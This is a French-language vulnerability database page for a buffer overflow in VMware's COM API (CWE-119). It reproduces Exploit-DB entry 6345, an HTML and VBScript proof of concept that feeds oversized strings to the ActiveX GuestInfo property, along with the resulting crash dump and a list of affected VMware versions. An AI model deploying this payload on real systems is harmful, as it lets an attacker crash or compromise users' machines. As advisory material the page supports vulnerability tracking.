Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-119 |
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
|
Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V2 |
10 |
|
AV:N/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 6345
Date de publication : 2008-08-31 22h00 +00:00
Auteur : shinnai
EDB Vérifié : Yes
-----------------------------------------------------------------------------
VMWare COM API Buffer Overflow
url: http://www.vmware.com/
Author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.net
This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.
Tested on Windows XP Professional SP3 all patched, with Internet Explorer 7
-----------------------------------------------------------------------------
<object classid='clsid:38DB77F9-058D-4955-98AA-4A9F3B6A5B06' id='test'></object>
<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>
<script language='vbscript'>
Sub tryMe
buff_1 = String (2000, "a")
buff_2 = String (2000, "b")
test.GuestInfo (buff_1) = buff_2
End Sub
</script>
Dump:
09:25:39.339 pid=0640 tid=0504 EXCEPTION (first-chance)
----------------------------------------------------------------
Exception C0000005 (ACCESS_VIOLATION reading [00000070])
----------------------------------------------------------------
EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EBX=0012BE14: 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61
ECX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EDX=002F8010: 00 00 00 00 00 00 00 00-00 00 00 00 00 0E 27 07
ESP=0012BDE4: 00 BE 12 00 17 AC A5 02-00 00 00 00 00 00 00 00
EBP=0012BDE4: 00 BE 12 00 17 AC A5 02-00 00 00 00 00 00 00 00
ESI=002F8010: 00 00 00 00 00 00 00 00-00 00 00 00 00 0E 27 07
EDI=0012CDB8: 62 62 62 62 62 62 62 62-62 62 62 62 62 62 62 62
EIP=02A6CBBF: 8B 51 70 8B 02 5D C3 90-90 90 90 90 90 90 90 90
--> MOV EDX,[ECX+70]
----------------------------------------------------------------
09:25:39.339 pid=0640 tid=0504 EXCEPTION (unhandled)
----------------------------------------------------------------
Exception C0000005 (ACCESS_VIOLATION reading [00000070])
----------------------------------------------------------------
EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EBX=0012BE14: 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61
ECX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EDX=002F8010: 00 00 00 00 00 00 00 00-00 00 00 00 00 0E 27 07
ESP=0012BDE4: 00 BE 12 00 17 AC A5 02-00 00 00 00 00 00 00 00
EBP=0012BDE4: 00 BE 12 00 17 AC A5 02-00 00 00 00 00 00 00 00
ESI=002F8010: 00 00 00 00 00 00 00 00-00 00 00 00 00 0E 27 07
EDI=0012CDB8: 62 62 62 62 62 62 62 62-62 62 62 62 62 62 62 62
EIP=02A6CBBF: 8B 51 70 8B 02 5D C3 90-90 90 90 90 90 90 90 90
--> MOV EDX,[ECX+70]
----------------------------------------------------------------
# milw0rm.com [2008-09-01]
Products Mentioned
Configuraton 0
Vmware>>Ace >> Version From (including) 1.0 To (excluding) 1.0.7
Vmware>>Ace >> Version From (including) 2.0 To (excluding) 2.0.5
Vmware>>Player >> Version From (including) 1.0.0 To (excluding) 1.0.8
Vmware>>Player >> Version From (including) 2.0 To (excluding) 2.0.5
Vmware>>Server >> Version To (excluding) 1.0.7
Vmware>>Workstation >> Version From (including) 5.5 To (excluding) 5.5.8
Vmware>>Workstation >> Version From (including) 6.0 To (excluding) 6.0.5
Références